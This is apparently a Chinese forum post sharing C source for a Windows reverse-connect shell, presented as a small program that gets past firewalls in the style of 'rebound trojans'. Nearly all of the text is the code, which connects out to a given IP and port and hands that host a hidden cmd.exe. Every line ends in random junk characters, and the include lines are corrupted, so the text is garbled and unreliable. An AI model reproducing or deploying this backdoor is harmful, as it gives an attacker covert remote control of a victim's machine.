这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 BFJnV.0M!
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/* ============================== aCLq k'
Rebound port in Windows NT 6qd\)q6T&x
By wind,2006/7 }XM(:|8J,
===============================*/ x7x\Y(@
#include 'anG:=
#include kd$D 3S^{
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#pragma comment(lib,"wsock32.lib") 3gj+%%!G\
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void OutputShell(); 0tB0@Wj
SOCKET sClient; ,$+V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yN
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void main(int argc,char **argv) bB;5s`-
{ 3K/MvNI>
WSADATA stWsaData; ^_5r<{7/ :
int nRet; gH3vk $WS
SOCKADDR_IN stSaiClient,stSaiServer; {LQ#y/H?
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if(argc != 3) h@WhNk7"xa
{ ">jj
printf("Useage:\n\rRebound DestIP DestPort\n"); {Wu$YWE*sx
return; SrK<fAkx
} ye? 'Ze
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WSAStartup(MAKEWORD(2,2),&stWsaData); rkY[E(SY
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %zw1}|s#z
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stSaiClient.sin_family = AF_INET; ZH)="qx[
stSaiClient.sin_port = htons(0); &&RimoIeo
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zeC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y6L~K?
{ M$8^91%4B
printf("Bind Socket Failed!\n"); o W Nh@C
return; KC#q@InK
} 8rS:5:Hi
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stSaiServer.sin_family = AF_INET; } c}_<#I
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w+E,INdi
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pKrN:ExB"\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QM#4uI55B
{ c[1oww
printf("Connect Error!"); V0XvJ
return; !*. -`$x
} V2|aN<Sx<
OutputShell(); [ $n_6
} ?+a,m# Yx
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void OutputShell() 8- %TC\:
{ sCb=5uI
char szBuff[1024]; wInh~p
SECURITY_ATTRIBUTES stSecurityAttributes; %vhnl'
OSVERSIONINFO stOsversionInfo; xJ)n4)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z(^]J`+\
STARTUPINFO stStartupInfo; )i^<r ;_z
char *szShell; aL&7 1^R,
PROCESS_INFORMATION stProcessInformation; H_X [t* 2
unsigned long lBytesRead; !XCm>]R
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I \[_9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }YNR"X9*)/
stSecurityAttributes.lpSecurityDescriptor = 0; NI
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stSecurityAttributes.bInheritHandle = TRUE; C-MjJ6D<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )MchsuF<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }n2M G
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); TS9|a{j3!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yqi4&~?db
stStartupInfo.wShowWindow = SW_HIDE; d]6#m'U
stStartupInfo.hStdInput = hReadPipe; #& Rw&
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1\>^m
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GetVersionEx(&stOsversionInfo); Vq?p|wy
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switch(stOsversionInfo.dwPlatformId) c>RFdc:U
{ q):5JXql~
case 1: 9-DZU,`P
szShell = "command.com"; A.F738Zp{Z
break; :~T99^$zA
default: ,\n&I(
szShell = "cmd.exe"; n}G|/v<
break;
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} 8UyMVY
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9Ujo/3,Ak
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send(sClient,szMsg,77,0); ^ ALly2
while(1) 8'nVwb8I
{ t@N=kV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @u]rWVy;\[
if(lBytesRead) \$e)*9)
{ *b/`Ya4
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E5xzy/ZQ
send(sClient,szBuff,lBytesRead,0); ZR]25Yy
} )~] (&
else NzOo0tz:
{ IS
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lBytesRead=recv(sClient,szBuff,1024,0); <_tT<5'[$u
if(lBytesRead<=0) break; D
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,\ k(x>oy
} 4.=3M
} cy3B({PLy
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return; K3;nY}\>
}